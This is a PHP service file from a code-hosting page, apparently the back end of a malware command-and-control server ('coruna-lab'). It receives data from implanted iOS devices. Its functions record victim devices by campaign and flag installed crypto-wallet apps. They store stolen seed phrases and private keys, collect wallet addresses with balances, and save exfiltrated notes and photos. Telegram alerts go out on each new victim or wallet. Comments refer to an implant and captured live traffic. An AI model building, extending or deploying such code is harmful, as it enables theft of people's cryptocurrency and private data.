Files
coruna-lab/server/app/Services/IngestService.php
T
hashbro 22942f1a78 init
2026-08-05 05:42:10 +08:00

442 lines
15 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<?php
namespace App\Services;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\Photo;
use App\Models\Wallet;
use App\Models\WalletAddress;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;
class IngestService
{
public function __construct(private readonly TelegramNotifier $telegram) {}
/**
* Stable device id — currently only from payload `d` / `f`.
* Other fields will be added when confirmed in live traffic.
*/
public function extractDeviceKey(?array $payload): ?string
{
if (! is_array($payload)) {
return null;
}
foreach (['d', 'f'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
return substr($payload[$key], 0, 64);
}
}
return null;
}
/**
* Campaign / channel id from reporting traffic.
*
* Primary: JSON / form field `c` (32 hex in HAR + type-0x01 embed).
* Fallback: `channel` (seen on /link/config/list alongside `c`).
*/
public function extractChannelId(Request $request, ?array $payload): ?string
{
$candidates = [];
if (is_array($payload)) {
if (isset($payload['form']) && is_array($payload['form'])) {
$candidates[] = $payload['form']['c'] ?? null;
$candidates[] = $payload['form']['channel'] ?? null;
}
$candidates[] = $payload['c'] ?? null;
$candidates[] = $payload['channel'] ?? null;
}
$candidates[] = $request->input('c');
$candidates[] = $request->input('channel');
foreach ($candidates as $value) {
if (! is_string($value) || $value === '') {
continue;
}
$value = trim($value);
// HAR / implant: lowercase hex, typically 32 chars
if (preg_match('/^[0-9a-fA-F]{16,64}$/', $value)) {
return strtolower(substr($value, 0, 64));
}
}
return null;
}
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
{
$deviceKey ??= $this->extractDeviceKey($payload);
if (! $deviceKey) {
return null;
}
$deviceModel = $this->extractDeviceModel($payload);
$ios = $this->extractIosVersion($payload);
$channelId = $this->extractChannelId($request, $payload);
$ua = substr((string) $request->userAgent(), 0, 2000);
$existing = Device::query()->where('device_id', $deviceKey)->first();
$attrs = [
'ip' => $request->ip(),
];
if ($ua !== '') {
$attrs['user_agent'] = $ua;
}
if ($deviceModel !== null) {
$attrs['device_model'] = $deviceModel;
} elseif ($existing) {
$attrs['device_model'] = $existing->device_model;
}
if ($ios !== null) {
$attrs['ios_version'] = $ios;
} elseif ($existing) {
$attrs['ios_version'] = $existing->ios_version;
}
if ($channelId !== null) {
$attrs['channel_id'] = $channelId;
} elseif ($existing) {
$attrs['channel_id'] = $existing->channel_id;
}
// created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps)
$device = Device::query()->updateOrCreate(
['device_id' => $deviceKey],
$attrs
);
if (! $existing) {
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
$device->telegram_notified = true;
$device->save();
}
return $device;
}
/**
* App list from /api/user/get — one row per bundle (`al[]`: a=name, b=bundle, v=version).
*/
public function ingestInstalledApps(Device $device, ?array $payload): void
{
if (! is_array($payload) || empty($payload['al']) || ! is_array($payload['al'])) {
return;
}
$walletBundles = config('coruna.wallet_bundles', []);
foreach ($payload['al'] as $item) {
if (! is_array($item)) {
continue;
}
$bundle = (string) ($item['b'] ?? $item['bundle_id'] ?? $item['bundleId'] ?? '');
$name = (string) ($item['a'] ?? $item['name'] ?? $bundle);
$version = isset($item['v']) ? (string) $item['v'] : null;
if ($bundle === '') {
continue;
}
$isWallet = in_array($bundle, $walletBundles, true)
|| (bool) preg_match('/wallet|token|metamask|imtoken|trust|exodus|phantom|ton/i', $bundle.' '.$name);
DeviceApp::query()->updateOrCreate(
['device_id' => $device->id, 'bundle_id' => $bundle],
[
'name' => $name,
'version' => $version,
'is_wallet' => $isWallet,
'meta_json' => $item,
]
);
}
}
/**
* Behavior events from /api/user/avatar/put (`et` / `desc` / `ctx`).
*/
public function ingestDeviceEvent(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$eventName = $payload['et'] ?? $payload['event_name'] ?? null;
$desc = $payload['desc'] ?? $payload['description'] ?? null;
if ($eventName === null && $desc === null) {
return;
}
$ctx = $payload['ctx'] ?? $payload['context'] ?? null;
$contextJson = null;
if (is_array($ctx)) {
$contextJson = $ctx;
} elseif ($ctx !== null) {
$contextJson = ['value' => $ctx];
}
DeviceEvent::query()->create([
'device_id' => $device->id,
'device_key' => $device->device_id,
'event_name' => is_string($eventName) ? $eventName : null,
'desc' => is_string($desc) ? mb_substr($desc, 0, 512) : null,
'context_json' => $contextJson,
]);
}
public function ingestWalletSecrets(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$mnemonic = null;
$priv = null;
foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key]) && $this->looksLikeMnemonic($payload[$key])) {
$mnemonic = $payload[$key];
break;
}
}
foreach (['privateKey', 'private_key', 'privkey', 'wif'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
$priv = $payload[$key];
break;
}
}
if ($mnemonic === null && $priv === null) {
if (isset($payload['result']) || isset($payload['data'])) {
Wallet::query()->create([
'device_id' => $device->id,
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
'raw_json' => $payload,
]);
}
return;
}
$wallet = new Wallet([
'device_id' => $device->id,
'source_app' => $payload['pn'] ?? $payload['app'] ?? null,
'raw_json' => $payload,
]);
$wallet->mnemonic = $mnemonic;
$wallet->privkey = $priv;
$wallet->save();
}
public function ingestAddresses(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$rows = [];
// HAR `/api/user/status`: ba = { "<address>": [ { balance, chainId, chainType, symbol, ... }, ... ] }
if (isset($payload['ba']) && is_array($payload['ba'])) {
$rows = $this->normalizeBaAddressRows($payload['ba']);
} elseif (isset($payload['data']) && is_array($payload['data'])) {
$rows = $this->normalizeAddressRows($payload['data']);
} elseif (isset($payload['result']) && is_array($payload['result'])) {
$rows = $this->normalizeAddressRows($payload['result']);
} else {
$rows = $this->normalizeAddressRows($payload);
}
foreach ($rows as $row) {
$address = $row['address'] ?? null;
if (! $address || ! is_string($address)) {
continue;
}
$chain = isset($row['chain']) && $row['chain'] !== '' ? (string) $row['chain'] : '';
$balance = isset($row['balance']) ? (string) $row['balance'] : null;
$symbol = isset($row['symbol']) ? (string) $row['symbol'] : null;
$existing = WalletAddress::query()
->where('device_id', $device->id)
->where('address', $address)
->where('chain', $chain)
->first();
$addr = WalletAddress::query()->updateOrCreate(
['device_id' => $device->id, 'address' => $address, 'chain' => $chain],
[
'balance' => $balance,
'symbol' => $symbol,
'meta_json' => $row,
]
);
if (! $existing) {
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
$addr->telegram_notified = true;
$addr->save();
} elseif ($balance !== null && $existing->balance !== $balance) {
$this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol);
}
}
}
public function ingestNotes(Device $device, ?array $payload): void
{
if (! is_array($payload)) {
return;
}
$notes = $payload['notes'] ?? $payload['data'] ?? $payload['result'] ?? null;
if (! is_array($notes)) {
Note::query()->create([
'device_id' => $device->id,
'title' => 'raw',
'body' => null,
'meta_json' => $payload,
]);
return;
}
$list = array_is_list($notes) ? $notes : [$notes];
foreach ($list as $note) {
if (! is_array($note)) {
continue;
}
Note::query()->create([
'device_id' => $device->id,
'title' => $note['title'] ?? $note['name'] ?? null,
'body' => $note['body'] ?? $note['content'] ?? $note['text'] ?? null,
'meta_json' => $note,
]);
}
}
public function ingestPhotos(Device $device, array $filePaths, ?array $counters = null): void
{
foreach ($filePaths as $path) {
if (! is_file($path)) {
continue;
}
$bytes = file_get_contents($path);
$sha = hash('sha256', $bytes);
$rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path);
Storage::disk('local')->put($rel, $bytes);
Photo::query()->create([
'device_id' => $device->id,
'sha256' => $sha,
'path' => $rel,
'size' => strlen($bytes),
'counters_json' => $counters,
]);
}
}
private function extractDeviceModel(?array $payload): ?string
{
if (! is_array($payload)) {
return null;
}
foreach (['deviceModel'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
return $payload[$key];
}
}
// avatar/put often sends short model as `m` (e.g. iPhone9,1)
if (! empty($payload['m']) && is_string($payload['m']) && preg_match('/^[A-Za-z]+\d/', $payload['m'])) {
return $payload['m'];
}
$info = $payload['deviceInfo'] ?? null;
if (is_array($info)) {
foreach (['productType', 'machine', 'model'] as $key) {
if (! empty($info[$key]) && is_string($info[$key])) {
return $info[$key];
}
}
}
return null;
}
private function extractIosVersion(?array $payload): ?string
{
if (! is_array($payload)) {
return null;
}
// /api/user/get uses `v` for iOS version
if (! empty($payload['v']) && is_string($payload['v']) && preg_match('/^\d+(\.\d+){1,3}$/', $payload['v'])) {
return $payload['v'];
}
foreach (['pv', 'ios', 'ios_version', 'os', 'ver'] as $key) {
if (! empty($payload[$key]) && is_string($payload[$key])) {
return $payload[$key];
}
}
$sv = $payload['systemVersion'] ?? null;
if (is_array($sv) && ! empty($sv['ProductVersion']) && is_string($sv['ProductVersion'])) {
return $sv['ProductVersion'];
}
if (is_string($sv) && $sv !== '') {
return $sv;
}
$info = $payload['deviceInfo'] ?? null;
if (is_array($info) && ! empty($info['productVersion']) && is_string($info['productVersion'])) {
return $info['productVersion'];
}
return null;
}
private function looksLikeMnemonic(string $value): bool
{
$words = preg_split('/\s+/', trim($value)) ?: [];
return in_array(count($words), [12, 15, 18, 21, 24], true)
&& (bool) preg_match('/^[a-z]+(?:\s+[a-z]+)+$/i', trim($value));
}
private function normalizeAddressRows(array $data): array
{
if (array_is_list($data)) {
return array_values(array_filter($data, 'is_array'));
}
if (isset($data['address'])) {
return [$data];
}
$out = [];
foreach ($data as $value) {
if (is_array($value) && isset($value['address'])) {
$out[] = $value;
}
}
return $out;
}
/**
* HAR `/api/user/status` balance map → one row per address (primary asset + full token list in meta).
*
* @param array<string, mixed> $ba
* @return list<array<string, mixed>>
*/
private function normalizeBaAddressRows(array $ba): array
{
$out = [];
foreach ($ba as $address => $assets) {
if (! is_string($address) || $address === '' || ! is_array($assets)) {
continue;
}
$list = array_values(array_filter($assets, 'is_array'));
if ($list === []) {
continue;
}
$primary = $list[0];
foreach ($list as $asset) {
$bal = isset($asset['balance']) ? (string) $asset['balance'] : '';
if ($bal !== '' && $bal !== '0') {
$primary = $asset;
break;
}
}
$chain = (string) ($primary['chainType'] ?? $primary['chain'] ?? $primary['chainId'] ?? '');
$out[] = [
'address' => $address,
'chain' => $chain,
'balance' => isset($primary['balance']) ? (string) $primary['balance'] : null,
'symbol' => isset($primary['symbol']) ? (string) $primary['symbol'] : null,
'assets' => $list,
];
}
return $out;
}
}